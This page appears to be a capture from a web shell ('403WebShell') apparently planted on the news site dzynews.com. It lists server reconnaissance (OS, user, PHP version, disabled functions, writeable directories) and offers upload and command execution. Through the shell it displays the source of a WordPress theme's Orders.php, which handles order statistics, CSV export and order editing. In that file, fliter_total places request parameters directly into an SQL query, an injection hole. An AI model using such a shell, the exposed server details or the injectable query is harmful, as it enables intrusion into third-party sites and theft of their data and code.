AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor

403WebShell
403Webshell
Server IP : dzynews.com  /  Your IP : 216.73.217.105
Web Server : nginx/1.30.3
System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 8.2.31
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Modules/Settings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Modules/Settings/Orders.php
<?php
namespace B2\Modules\Settings;

use B2\Modules\Settings\OrdersListTable;
use B2\Modules\Common\Wecatmp;
use B2\Modules\Common\User;

class Orders{

    public static $default_settings = array(
        'express_appcode'=>''
    );

    public function init(){
        add_action('cmb2_admin_init',array($this,'orders_options_page'));
        
        add_action( 'admin_init', array($this,'down_csv'));

        add_action("wp_ajax_user_list", [$this,"user_list"]);
        add_action("wp_ajax_user_list_money", [$this,"money_top"]);
        add_action("wp_ajax_user_list_credit", [$this,"credit_top"]);
    
    }

    public static function get_default_settings($key){
        $arr = array(
            'express_appcode'=>''
        );

        if(isset($arr[$key])){
            return $arr[$key];
        }
    }

    public function orders_options_page(){
        if(!current_user_can('administrator')) return;

        $orders = new_cmb2_box( array(
            'id'           => 'b2_orders_main_options_page',
            'object_types' => array( 'options-page' ),
            'option_key'      => 'b2_orders_main',
            'tab_group'    => 'b2_orders_options',
            'parent_slug'     => 'b2_main_options',
            'tab_title'    => __('订单统计','b2'),
            'title'   => __('订单管理','b2'), 
            'display_cb'      => array($this,'orders_statistics')
        ) );

        $order_list = new_cmb2_box(array(
            'id'           => 'b2_orders_list_options_page',
            'title'   => __('订单管理','b2'), 
            'tab_title'    => __('订单管理','b2'), 
            'object_types' => array( 'options-page' ),
            'option_key'      => 'b2_orders_list',
            'parent_slug'     => 'b2_main_options',
            'tab_group'    => 'b2_orders_options',
            'parent_slug'     => '/admin.php?page=b2_orders_main',
            'display_cb'=>array($this,'list_option_page_cb')
        ));

        $order_express = new_cmb2_box(array(
            'id'           => 'b2_orders_express_options_page',
            'title'   => __('快递接口信息','b2'), 
            'tab_title'    => __('快递接口信息','b2'), 
            'object_types' => array( 'options-page' ),
            'option_key'      => 'b2_orders_express',
            'parent_slug'     => '/admin.php?page=b2_orders_main',
            'tab_group'    => 'b2_orders_options',
        ));

        $order_express->add_field( array(
            'before'=>'<p>'.sprintf(__('目前我们集成了易源数据的快递查询业务,请前往阿里云[%s全球物流快递查询_易源数据%s]然后购买(可0元购买试用),并将生成的key填写到下面设置项中(如果已经购买过,请前往阿里云市场买家中心查看)。'),'<a target="_blank" href="https://market.aliyun.com/products/56928004/cmapi025388.html?spm=5176.10695662.1996646101.searchclickresult.936a284anemB9f&aly_as=txv2-Uu5#sku=yuncode1938800000">','</a>').'<p>',
            'name'    => __( 'AppCode', 'b2' ),
            'id'      => 'express_appcode',
            'desc'=> __( '购买之后,请前往阿里云市场买家中心AppCode', 'b2' ),
            'type'    => 'text'
        ) );
    }

    public function user_list(){

        echo json_encode([
            'money'=>$this->money_top(1),
            'credit'=>$this->credit_top(1)
        ]);

        exit;
    }

    public function money_top($paged = 1){

        if(isset($_REQUEST['paged']) && $_REQUEST['paged']){
            $paged = (int)$_REQUEST['paged'];
        }

        $count = 16;
        $offset = ($paged -1)*$count;

        $args = array(
            'number' => $count,
            'offset'=>$offset,
            'order'=>'DESC',
            'meta_key'=>'zrz_rmb',
            'orderby'=> 'meta_value_num'
        );

        $user_query = new \WP_User_Query($args);

        $total = $user_query->get_total();

        $pages = ceil($total/$count);

        $data = array();

        if ( ! empty( $user_query->results ) ) {
            foreach ( $user_query->results as $user ) { 
                $money = get_user_meta($user->ID,'zrz_rmb',true);
                $money = $money ? $money : 0;

                $_data = User::get_user_public_data($user->ID,true);

                $_data['money'] = $money;

                if(isset($_data['desc']) && $_data['desc'] === ''){
                    $_data['desc'] = __('这个人很懒,什么都没有留下!','b2');
                }
                $data[] = $_data;
            }
        }

        if(isset($_REQUEST['paged']) && $_REQUEST['paged']){
            echo json_encode($data);
            exit;
        }else{
            return [
                'list'=>$data,
                'pages'=>$pages
            ];
        }
    }

    public function credit_top($paged = 1){

        if(isset($_REQUEST['paged']) && $_REQUEST['paged']){
            $paged = (int)$_REQUEST['paged'];
        }

        $count = 16;
        $offset = ($paged -1)*$count;

        $args = array(
            'number' => $count,
            'offset'=>$offset,
            'order'=>'DESC',
            'meta_key'=>'zrz_credit_total',
            'orderby'=> 'meta_value_num'
        );

        $user_query = new \WP_User_Query($args);
        $total = $user_query->get_total();

        $pages = ceil($total/$count);

        $data = [];

        if ( ! empty( $user_query->results ) ) {
            foreach ( $user_query->results as $user ) { 
                $credit = get_user_meta($user->ID,'zrz_credit_total',true);
                $credit = $credit ? $credit : 0;

                $_data = User::get_user_public_data($user->ID,true);

                $_data['credit'] = b2_number_format($credit);

                if(isset($_data['desc']) && $_data['desc'] === ''){
                    $_data['desc'] = __('这个人很懒,什么都没有留下!','b2');
                }
                $data[] = $_data;
            }
        }

        if(isset($_REQUEST['paged']) && $_REQUEST['paged']){
            echo json_encode($data);
            exit;
        }else{
            return [
                'list'=>$data,
                'pages'=>$pages
            ];
        }

    }

    public function orders_statistics($cmb_options){
        $tabs = $this->cb_options_page_tabs( $cmb_options );

        $money = $this->order_money();
        $money = isset($money[0]) ? $money[0] : [
            'day'=>0,
            'yesterday'=>0,
            'month'=>0,
            'last_month'=>0,
            'year'=>0,
            'last_year'=>0
        ];
        $count = $this->order_count();
        $count = isset($count[0]) ? $count[0] : [
            'day'=>0,
            'yesterday'=>0,
            'month'=>0,
            'last_month'=>0,
            'year'=>0,
            'last_year'=>0
        ];

        $total = $this->order_total();
        $total = isset($total[0]) ? $total[0] : [
            'total'=>0,
            'refund'=>0
        ];

        $order_refund = $this->order_refund();
        $order_refund = isset($order_refund[0]) ? $order_refund[0] : [
            'day'=>0,
            'yesterday'=>0,
            'month'=>0,
            'last_month'=>0,
            'year'=>0,
            'last_year'=>0
        ];

        ?>
        <div class="wrap cmb2-options-page option-<?php echo $cmb_options->option_key; ?>">
            <h2><?php echo __('订单统计','b2'); ?></h2>
            <h2 class="nav-tab-wrapper">
                <?php foreach ( $tabs as $option_key => $tab_title ) : ?>
                    <a class="nav-tab<?php if ( isset( $_GET['page'] ) && $option_key === $_GET['page'] ) : ?> nav-tab-active<?php endif; ?>" href="<?php menu_page_url( $option_key ); ?>"><?php echo wp_kses_post( $tab_title ); ?></a>
                <?php endforeach; ?>
            </h2>
            <div class="order-box">
                <p class="red">只统计货币订单,不统计积分订单。不统计余额充值订单,以避免重复统计。</p>
                <div class="box">
                    <div class="order-title">累计收益</div>
                    <div class="order-row">
                        <div class="order-in-row">
                            <div class="row-item green">
                                <span>总收入</span>
                                <span><?php echo '<b>'.B2_MONEY_SYMBOL.'</b>'.($total['total'] ? round($total['total'],2) : 0); ?></span>
                            </div>
                        </div>
                        <div class="order-in-row">
                            <div class="row-item red">
                                <span>已退款</span>
                                <span><?php echo '<b>'.B2_MONEY_SYMBOL.'</b>'.($total['refund'] ? round($total['refund'],2) : 0); ?></span>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="box">
                    <div class="order-title">收益</div>
                    <div class="order-row">
                        <div class="order-in-row">
                            <div class="row-item green">
                                <span>今日收益</span>
                                <span><?php echo '<b>'.B2_MONEY_SYMBOL.'</b>'.($money['day'] ? round($money['day'],2) : 0); ?></span>
                            </div>
                            <div class="row-item">
                                <span>昨日收益</span>
                                <span><?php echo '<b>'.B2_MONEY_SYMBOL.'</b>'.($money['yesterday'] ? round($money['yesterday'],2) : 0); ?></span>
                            </div>
                        </div>
                        <div class="order-in-row">
                            <div class="row-item">
                                <span>本月收益</span>
                                <span><?php echo '<b>'.B2_MONEY_SYMBOL.'</b>'.($money['month'] ? round($money['month'],2) : 0); ?></span>
                            </div>
                            <div class="row-item">
                                <span>上月收益</span>
                                <span><?php echo '<b>'.B2_MONEY_SYMBOL.'</b>'.($money['last_month'] ? round($money['last_month'],2) : 0); ?></span>
                            </div>
                        </div>
                        <div class="order-in-row">
                            <div class="row-item">
                                <span>今年收益</span>
                                <span><?php echo '<b>'.B2_MONEY_SYMBOL.'</b>'.($money['year'] ? round($money['year'],2) : 0); ?></span>
                            </div>
                            <div class="row-item">
                                <span>去年收益</span>
                                <span><?php echo '<b>'.B2_MONEY_SYMBOL.'</b>'.($money['last_year'] ? round($money['last_year'],2) : 0); ?></span>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="box">
                    <div class="order-title">订单</div>
                    <div class="order-row">
                        <div class="order-in-row">
                            <div class="row-item green">
                                <span>今日订单数</span>
                                <span><?php echo ($count['day'] ?? 0); ?></span>
                            </div>
                            <div class="row-item">
                                <span>昨日订单数</span>
                                <span><?php echo ($count['yesterday'] ?? 0); ?></span>
                            </div>
                        </div>
                        <div class="order-in-row">
                            <div class="row-item">
                                <span>本月订单数</span>
                                <span><?php echo ($count['month'] ?? 0); ?></span>
                            </div>
                            <div class="row-item">
                                <span>上月订单数</span>
                                <span><?php echo ($count['last_month'] ?? 0); ?></span>
                            </div>
                        </div>
                        <div class="order-in-row">
                            <div class="row-item">
                                <span>今年订单数</span>
                                <span><?php echo ($count['year'] ?? 0); ?></span>
                            </div>
                            <div class="row-item">
                                <span>去年订单数</span>
                                <span><?php echo ($count['last_year'] ?? 0); ?></span>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="box">
                    <div class="order-title">退款</div>
                    <div class="order-row">
                        <div class="order-in-row">
                            <div class="row-item green">
                                <span>今日退款</span>
                                <span><?php echo '<b>'.B2_MONEY_SYMBOL.'</b>'.($order_refund['day'] ? round($order_refund['day'],2) : 0 ); ?></span>
                            </div>
                            <div class="row-item">
                                <span>昨日退款</span>
                                <span><?php echo '<b>'.B2_MONEY_SYMBOL.'</b>'.($order_refund['yesterday'] ? round($order_refund['yesterday'],2) : 0); ?></span>
                            </div>
                        </div>
                        <div class="order-in-row">
                            <div class="row-item">
                                <span>本月退款</span>
                                <span><?php echo '<b>'.B2_MONEY_SYMBOL.'</b>'.($order_refund['month'] ? round($order_refund['month'],2) : 0); ?></span>
                            </div>
                            <div class="row-item">
                                <span>上月退款</span>
                                <span><?php echo '<b>'.B2_MONEY_SYMBOL.'</b>'.($order_refund['last_month'] ? round($order_refund['last_month'],2) : 0); ?></span>
                            </div>
                        </div>
                        <div class="order-in-row">
                            <div class="row-item">
                                <span>今年退款</span>
                                <span><?php echo '<b>'.B2_MONEY_SYMBOL.'</b>'.($order_refund['year'] ? round($order_refund['year'],2) : 0); ?></span>
                            </div>
                            <div class="row-item">
                                <span>去年退款</span>
                                <span><?php echo '<b>'.B2_MONEY_SYMBOL.'</b>'.($order_refund['last_year'] ? round($order_refund['last_year'],2) : 0); ?></span>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            <div class="paihang order-box">
                <div id="money-top">
                    <div class="money-box box">
                        <h2>财富排行</h2>
                        <div v-if="list">
                            <ul class="money-list" v-if="list.money.list.length > 0">
                                <li v-for="item,i in list.money.list" :key="i">
                                    <a :href="'<?php echo home_url('/gold').'?uid=';?>'+item.id" target="_blank"></a>
                                    <img :src="item.avatar" class="avatar"/>
                                    <div>
                                        <div>{{item.name}}</div>
                                        <div><?php echo B2_MONEY_SYMBOL; ?>{{item.money}}</div>
                                    </div>
                                </li>
                            </ul>
                            <div v-else>
                                没有数据
                            </div>
                        </div>
                        <div class="nav-row" v-if="list">
                            <button class="button action" :disabled="mpaged == 1 || locked" @click="mpaged --;getMoneyList()">上一页</button>
                            <button class="button action" :disabled="mpaged >= list.money.pages || locked" @click="mpaged ++;getMoneyList()">下一页</button>
                        </div>
                    </div>
                    <div class="credit-box box">
                        <h2>积分排行</h2>
                        <div v-if="list">
                            <ul class="money-list" v-if="list.money.list.length > 0">
                                <li v-for="item,i in list.credit.list" :key="i">
                                    <a :href="'<?php echo home_url('/gold').'?uid=';?>'+item.id" target="_blank"></a>
                                    <img :src="item.avatar" class="avatar"/>
                                    <div>
                                        <div>{{item.name}}</div>
                                        <div>{{item.credit}}</div>
                                    </div>
                                </li>
                            </ul>
                            <div v-else>
                                没有数据
                            </div>
                        </div>
                        <div class="nav-row" v-if="list">
                            <button class="button action" :disabled="cpaged == 1 || locked" @click="cpaged --;getCreditList()">上一页</button>
                            <button class="button action" :disabled="cpaged >= list.credit.pages || locked" @click="cpaged ++;getCreditList()">下一页</button>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <?php
    }

    public function cb_options_page_tabs( $cmb_options ) {
        $tab_group = $cmb_options->cmb->prop( 'tab_group' );
        $tabs      = array();
        foreach ( \CMB2_Boxes::get_all() as $cmb_id => $cmb ) {
            if ( $tab_group === $cmb->prop( 'tab_group' ) ) {
                $tabs[ $cmb->options_page_keys()[0] ] = $cmb->prop( 'tab_title' )
                    ? $cmb->prop( 'tab_title' )
                    : $cmb->prop( 'title' );
            }
        }
        return $tabs;
    }

    public function order_total(){
        global $wpdb;
        $table_name = $wpdb->prefix . 'zrz_order';

        $data = $wpdb->get_results("
            select 
            sum(IF(order_state != 't',order_total,0)) as total,
            sum(IF(order_state = 't',order_total,0)) as refund
            from $table_name where order_state != 'w' AND money_type = 0 AND order_type != 'cz'
        ",ARRAY_A);
        
        return $data;
    }

    public function get_order_guige($order_value,$post_id){

        $type = get_post_meta($post_id,'zrz_shop_type',true);
        $shop_multi = get_post_meta($post_id,'zrz_shop_multi',true);

        if($type == 'normal' && $shop_multi == 1){
            $json = json_decode($order_value,true );
            if($json){
                $html = '';
                foreach ($json['desc'] as $key => $value) {
                    $html .= $value['name'].':'.$value['value'].PHP_EOL;
                }
                return $html;
            }
        }

        return '';
    }

    public function down_csv(){

        if(!apply_filters('b2_check_role',0)) return;

        // $result = $_REQUEST['params'];

        // $start = $result['start'];
        // $end = $result['end'];
        // $order_state = $result['order_state'];
        // $order_type = $result['order_type'];

        if(!isset($_REQUEST['order_out'])) return;
 
        $start = isset($_REQUEST['start']) && $_REQUEST['start'] ? $_REQUEST['start'] : '';
        $end = isset($_REQUEST['end']) && $_REQUEST['end'] ? $_REQUEST['end'] : '';
        $order_state = isset($_REQUEST['order_state']) && $_REQUEST['order_state'] ? $_REQUEST['order_state'] : '';
        $order_type = isset($_REQUEST['order_type']) && $_REQUEST['order_type'] ? $_REQUEST['order_type'] : '';

        global $wpdb; 
        $table_name = $wpdb->prefix . 'zrz_order';

        $query = "SELECT * FROM $table_name";

        //状态筛选
        if ($order_state && $order_state != 'all') {
            $w = 'WHERE';
            if(strpos($query,'WHERE') !== false){
                $w = 'AND';
            }

            if($order_state === 'total'){
                $query.= $wpdb->prepare(" $w `order_state` != %s",'w');
            }elseif($order_state === 'w'){
                $query.= $wpdb->prepare(" $w `order_state` = %s",'w');
            }elseif($order_state === 'f'){
                $query.= $wpdb->prepare(" $w `order_state` = %s",'f');
            }elseif($order_state === 'c'){
                $query.= $wpdb->prepare(" $w `order_state` = %s",'c');
            }elseif($order_state === 'q'){
                $query.= $wpdb->prepare(" $w `order_state` = %s",'q');
            }elseif($order_state === 't'){
                $query.= $wpdb->prepare(" $w `order_state` = %s",'t');
            }

        }

        if($start && $end){
            $w = 'WHERE';
            if(strpos($query,'WHERE') !== false){
                $w = 'AND';
            }
            $query.= $wpdb->prepare(" $w `order_date` >= %s AND `order_date` <= %s",$start,$end);
        }

        //筛选商品类型
        if ($order_type) {
            if(strpos($query,'WHERE') !== false){
                $query.= $wpdb->prepare(" AND `order_type`= %s",$order_type);
            }else{
                $query.= $wpdb->prepare(" WHERE `order_type`= %s",$order_type);
            }
        }


        $arg = $wpdb->get_results($query,ARRAY_A);

        if(empty($arg)){
            print json_encode(array('status'=>401,'msg'=>__('没有订单','b2')));
            exit;
        }

        $order_code = new OrdersListTable();

        set_time_limit(0);
        $csv = new Array2Csv();
        $filename = 'orders_'.$start.'_to_'.$end.'.csv';
        $csv->cvsHeader($filename);
    
        $head =  ['id','订单号','买家','买家ID','购买内容','商品ID','商品别名','规格','订单类型','商品类型','订单状态','订单日期','订单数量','单价','总价','货币类型','key','value','内容','支付渠道','快递单号','收货地址','标记','mobile'];
        $csv->outputData($head);
    
        $limit = 10000; 
        $cnt   = 0;    

        foreach ($arg as $k => $v) {
            $author_obj = get_userdata($v['user_id']);
            $data = [
                $v['id'],
                $v['order_id'],
                $this->dot2s((isset($author_obj->display_name) ? $author_obj->display_name : '')),
                $v['user_id'],
                $this->dot2s(get_the_title($v['post_id']).'(id:'.$v['post_id'].')'),
                $v['post_id'],
                urldecode(get_post_field('post_name',$v['post_id'])),
                $this->get_order_guige($v['order_value'],$v['post_id']),
                $order_code->get_shop_order('order_type',$v['order_type'],true),
                $order_code->get_shop_order('order_commodity',$v['order_commodity'],true),
                $order_code->get_shop_order('order_state',$v['order_state'],true),
                $v['order_date'],
                $v['order_count'],
                $v['money_type'] == 0 ? B2_MONEY_SYMBOL.$v['order_price'] : '积分:'.$v['order_price'],
                $v['money_type'] == 0 ? B2_MONEY_SYMBOL.$v['order_total'] : '积分:'.$v['order_total'],
                $v['money_type'] == 0 ? '货币' : '积分',
                $this->dot2s($v['order_key']),
                $this->dot2s($v['order_value']),
                $this->dot2s($v['order_content']),
                $order_code->get_shop_order('pay_type',$v['pay_type'],true),
                $v['tracking_number'],
                $this->dot2s($v['order_address']),
                $v['order_mark'],
                $v['order_mobile']
            ];
            $cnt++;
            if ($limit == $cnt) {
                $csv->csvFlush($cnt);
            }
            $csv->outputData($data);
        }
 
        
        $csv->closeFile();
        exit;
           
        
    }

    public function dot2s($str){
        
        return str_replace(',',',',$str);
    }

    public function fliter_total(){
        global $wpdb;
        $table_name = $wpdb->prefix . 'zrz_order';

        $start = isset($_REQUEST['start']) && $_REQUEST['start'] ? $_REQUEST['start'] : '';
        $end = isset($_REQUEST['end']) && $_REQUEST['end'] ? $_REQUEST['end'] : '';

        $data = [];

        $data[0] = [
            'total'=>0,
            'refund'=>0
        ];

        if($start && $end){
            $data = $wpdb->get_results("
            select 
            sum(IF(order_state != 't' && DATE_FORMAT(order_date,'%Y-%m-%d') >= '$start' && DATE_FORMAT(order_date,'%Y-%m-%d') <= '$end',order_total,0)) as total,
            sum(IF(order_state = 't' && DATE_FORMAT(order_date,'%Y-%m-%d') >= '$start' && DATE_FORMAT(order_date,'%Y-%m-%d') <= '$end',order_total,0)) as refund
            from $table_name where order_state != 'w' AND money_type = 0 AND order_type != 'cz'
            ",ARRAY_A);
        }
        
        
        return $data;
    }

    public function order_refund(){
        global $wpdb;
        $table_name = $wpdb->prefix . 'zrz_order';

        $data = $wpdb->get_results("
            select 
            SUM(CASE WHEN DATE(order_date) = CURDATE() THEN order_total ELSE 0 END) AS day,
            SUM(CASE WHEN DATE(order_date) = DATE_SUB(CURDATE(), INTERVAL 1 DAY) THEN order_total ELSE 0 END) AS yesterday,
            SUM(CASE WHEN YEAR(order_date) = YEAR(CURRENT_DATE()) AND MONTH(order_date) = MONTH(CURRENT_DATE()) THEN order_total ELSE 0 END) AS month,
            SUM(CASE WHEN YEAR(order_date) = YEAR(DATE_SUB(CURRENT_DATE(), INTERVAL 1 MONTH)) AND MONTH(order_date) = MONTH(DATE_SUB(CURRENT_DATE(), INTERVAL 1 MONTH)) THEN order_total ELSE 0 END) AS last_month,
            SUM(CASE WHEN YEAR(order_date) = YEAR(CURRENT_DATE()) THEN order_total ELSE 0 END) AS year,
            SUM(CASE WHEN YEAR(order_date) = YEAR(DATE_SUB(CURRENT_DATE(), INTERVAL 1 YEAR)) THEN order_total ELSE 0 END) AS last_year
            from $table_name where order_state = 't' AND money_type = 0
        ",ARRAY_A);

        
        return $data;
    }

    public function order_money(){
        // $cache = wp_cache_get('order_money', 'b2_order_data');
        // if($cache) return  $cache;
        // * w : 等待付款 ,f : 已付款未发货 ,c : 已发货 ,s : 已删除 ,q : 已签收 ,t : 已退款
        global $wpdb;
        $table_name = $wpdb->prefix . 'zrz_order';

        $data = $wpdb->get_results("
            select 
            SUM(CASE WHEN DATE(order_date) = CURDATE() THEN order_total ELSE 0 END) AS day,
            SUM(CASE WHEN DATE(order_date) = DATE_SUB(CURDATE(), INTERVAL 1 DAY) THEN order_total ELSE 0 END) AS yesterday,
            SUM(CASE WHEN YEAR(order_date) = YEAR(CURRENT_DATE()) AND MONTH(order_date) = MONTH(CURRENT_DATE()) THEN order_total ELSE 0 END) AS month,
            SUM(CASE WHEN YEAR(order_date) = YEAR(DATE_SUB(CURRENT_DATE(), INTERVAL 1 MONTH)) AND MONTH(order_date) = MONTH(DATE_SUB(CURRENT_DATE(), INTERVAL 1 MONTH)) THEN order_total ELSE 0 END) AS last_month,
            SUM(CASE WHEN YEAR(order_date) = YEAR(CURRENT_DATE()) THEN order_total ELSE 0 END) AS year,
            SUM(CASE WHEN YEAR(order_date) = YEAR(DATE_SUB(CURRENT_DATE(), INTERVAL 1 YEAR)) THEN order_total ELSE 0 END) AS last_year
            from $table_name where order_state != 'w' AND order_state != 't' AND money_type = 0 AND order_type != 'cz'
        ",ARRAY_A);

        
        return $data;
    }

    public function order_count(){
        // $cache = wp_cache_get('order_money', 'b2_order_data');
        // if($cache) return  $cache;
        // * w : 等待付款 ,f : 已付款未发货 ,c : 已发货 ,s : 已删除 ,q : 已签收 ,t : 已退款
        /**
         * 
         * * $order_type //订单类型
* c : 抽奖 ,d : 兑换 ,g : 购买 ,w : 文章内购 ,ds : 打赏 ,x : 资源下载 ,cz : 充值 ,vip : VIP购买 ,cg : 积分购买,
* v : 视频购买,verify : 认证付费,mission : 签到填坑 , coupon : 优惠劵订单,circle_join : 支付入圈 , circle_read_answer_pay : 付费查看提问答案,
* circle_hidden_content_pay : 付费查看隐藏内容,custom :自定义支付,infomation_sticky :信息置顶
*
* $order_commodity //商品类型
* 0 : 虚拟物品 ,1 : 实物
*
* $order_state //订单状态
* w : 等待付款 ,f : 已付款未发货 ,c : 已发货 ,s : 已删除 ,q : 已签收 ,t : 已退款
         */
        global $wpdb;
        $table_name = $wpdb->prefix . 'zrz_order';

        $data = $wpdb->get_results("
            select 
            SUM(CASE WHEN DATE(order_date) = CURDATE() THEN 1 ELSE 0 END) AS day,
            SUM(CASE WHEN DATE(order_date) = DATE_SUB(CURDATE(), INTERVAL 1 DAY) THEN 1 ELSE 0 END) AS yesterday,
            SUM(CASE WHEN YEAR(order_date) = YEAR(CURRENT_DATE()) AND MONTH(order_date) = MONTH(CURRENT_DATE()) THEN 1 ELSE 0 END) AS month,
            SUM(CASE WHEN YEAR(order_date) = YEAR(DATE_SUB(CURRENT_DATE(), INTERVAL 1 MONTH)) AND MONTH(order_date) = MONTH(DATE_SUB(CURRENT_DATE(), INTERVAL 1 MONTH)) THEN 1 ELSE 0 END) AS last_month,
            SUM(CASE WHEN YEAR(order_date) = YEAR(CURRENT_DATE()) THEN 1 ELSE 0 END) AS year,
            SUM(CASE WHEN YEAR(order_date) = YEAR(DATE_SUB(CURRENT_DATE(), INTERVAL 1 YEAR)) THEN 1 ELSE 0 END) AS last_year
            from $table_name where order_state != 'w' AND order_state != 't' AND money_type = 0 AND order_type != 'cz'
        ",ARRAY_A);
        
        return $data;
    }


    public function list_option_page_cb($cmb_options){

        $this->delete_expired_orders();
        $tabs = $this->cb_options_page_tabs( $cmb_options );
        $order_code = new OrdersListTable();
        $order_code->prepare_items();
        $status = isset($_REQUEST["order_state"]) ? esc_sql($_REQUEST["order_state"]) : 'total';
        $ref_url = admin_url('admin.php?'.$_SERVER['QUERY_STRING']);

        if((isset($_REQUEST['action']) && $_REQUEST['action'] == 'delete') || (isset($_REQUEST['action2']) && $_REQUEST['action2'] == 'delete')){
            
            $order_ids = isset($_REQUEST['id']) ? (array)$_REQUEST['id'] : '';

            if($order_ids){
                $order_code->delete_coupons($order_ids);
                $ref_url = wp_get_referer();
                $ref_url = remove_query_arg(array('id', 'action','action2','s'), $ref_url);
                exit(header("Location: ".$ref_url));
                echo '<script> location.replace("'.$ref_url.'"); </script>';
            }
        }

        $type = b2_order_type();

        $type_get = isset($_REQUEST['order_type']) ? $_REQUEST['order_type'] : '';

        $fliter = [
            'total'=>0,
            'refund'=>0
        ];

        if(isset($_REQUEST["start"]) && isset($_REQUEST["end"]) && $_REQUEST["start"] && $_REQUEST["end"]){
            $fliter = $this->fliter_total();
            $fliter = $fliter[0];
        }

        $status_total = $order_code->get_status_count();
        $status_total = isset($status_total[0]) ? $status_total[0] : [
            'total'=>0,
            'q'=>0,
            'w'=>0,
            'f'=>0,
            'c'=>0,
            't'=>0,
            'gx'=>0,
            'cj'=>0,
            'd'=>0,
            'wz'=>0,
            'x'=>0,
            'ds'=>0,
            'cz'=>0,
            'vip'=>0,
            'cg'=>0,
            'v'=>0,
            'verify'=>0,
            'circle_join'=>0,
            'circle_read_answer_pay'=>0,
            'circle_hidden_content_pay'=>0,
            'mission'=>0,
            'coupon'=>0,
            'custom'=>0,
            'infomation_sticky'=>0
        ];

    ?>
        <div class="wrap cmb2-options-page option-<?php echo $cmb_options->option_key; ?>">
            <?php if ( get_admin_page_title() ) : ?>
                <h2><?php echo wp_kses_post( get_admin_page_title() ); ?></h2>
            <?php endif; ?>

            <h2 class="nav-tab-wrapper">
                <?php foreach ( $tabs as $option_key => $tab_title ) : ?>
                    <a class="nav-tab<?php if ( isset( $_REQUEST['page'] ) && $option_key === $_REQUEST['page'] ) : ?> nav-tab-active<?php endif; ?>" href="<?php menu_page_url( $option_key ); ?>"><?php echo wp_kses_post( $tab_title ); ?></a>
                <?php endforeach; ?>
            </h2>
            <div class="wrap">
                <?php if(isset($_REQUEST['action']) && $_REQUEST['action'] === 'edit'){ ?>
                    <?php 
                        $id = isset($_REQUEST['id']) ? (int)$_REQUEST['id'] : 0;

                        $update = isset($_REQUEST['order_update']) ? (int)$_REQUEST['order_update'] : 0;

                        global $wpdb;
                        $table_name = $wpdb->prefix . 'zrz_order';

                        $res = $wpdb->get_row($wpdb->prepare("
                                SELECT * FROM $table_name
                                WHERE id = %d
                            ",
                            $id
                        ),ARRAY_A);
                        
                        if($update){
                            $address = isset($_REQUEST['order_address']) ? $_REQUEST['order_address'] : '';
                            $content = isset($_REQUEST['order_content']) ? $_REQUEST['order_content'] : '';

                            $kd = isset($_REQUEST['kuaidi']) ? $_REQUEST['kuaidi'] : '';
                            $number = isset($_REQUEST['express_number']) ? $_REQUEST['express_number'] : '';
                            $state = isset($_REQUEST['edit_state']) ? $_REQUEST['edit_state'] : '';
                            $_res = $wpdb->update(
                                $table_name, 
                                array(
                                    'order_state'=>$state,
                                    'order_address'=>$address,
                                    'order_content'=>$content,
                                    'tracking_number'=>maybe_serialize(array(
                                        'type'=>$kd,
                                        'number'=>$number
                                    ))
                                )
                                , array('id'=>$id)
                            );
                        

                            if (class_exists('B2APP\\common\\opt') && (int)$res['order_mark'] !== 1 && (($state == 'c' && (int)$res['order_commodity'] == 1) || (int)$res['order_commodity'] == 0 )){
                                preg_match("#^\d.\d#", PHP_VERSION, $p_v);
                                $p_v[0] = str_replace('.','',$p_v[0]);
                                require_once B2_APP_PATH.'common'.DIRECTORY_SEPARATOR.'methods'.DIRECTORY_SEPARATOR.$p_v[0].DIRECTORY_SEPARATOR.'methods.php';
                                $m = new \b2methods();
                                
                                $res['kd'] = '';
                                if((int)$res['order_commodity'] == 1){
                                
                                    switch ($kd) {
                                        case 'youzheng':
                                            $res['kd'] = 'CHINAEMS';
                                            break;
                                        case 'shunfeng':
                                            $res['kd'] = 'SF';
                                            break;
                                        case 'shentong':
                                            $res['kd'] = 'STO';
                                            break;
                                        case 'zhongtong':
                                            $res['kd'] = 'ZTO';
                                            break;
                                        case 'yunda':
                                            $res['kd'] = 'YD';
                                            break;
                                        case 'tiantian':
                                            $res['kd'] = 'ZY_TTHT';
                                            break;
                                        case 'debang':
                                            $res['kd'] = 'DBL';
                                            break;
                                        case 'baishi':
                                            $res['kd'] = 'HTKY';
                                            break;
                                        case 'zhaijisong':
                                            $res['kd'] = 'ZJS';
                                            break;
                                        case 'jingdong':
                                            $res['kd'] = 'JD';
                                            break;
                                        case 'yuantong':
                                            $res['kd'] = 'YTO';
                                            break;
                                        default:
                                            // code...
                                            break;
                                    }
                                }
                                
                                $res['tracking_no'] = $number;
                            
                                $pattern = '/(1[3-9]\d{9})/';

                                $string = $address;
                                
                                preg_match_all($pattern, $string, $matches);
                                
                                $phoneNumbers = $matches[0];
                                
                                $res['receiver_contact'] = $phoneNumbers;
                                
                                $res_push = $m->pushExpress($res);
                            
                                if(!isset($res_push['error']) && $res_push){
                                    $wpdb->update(
                                        $table_name, 
                                        array(
                                            'order_mark'=>1,
                                        )
                                        , array('id'=>$id)
                                    );
                                    
                                    b2_settings_error('updated',__('微信小程序推送成功','b2'));
                                }

                            }

                            if($_res){
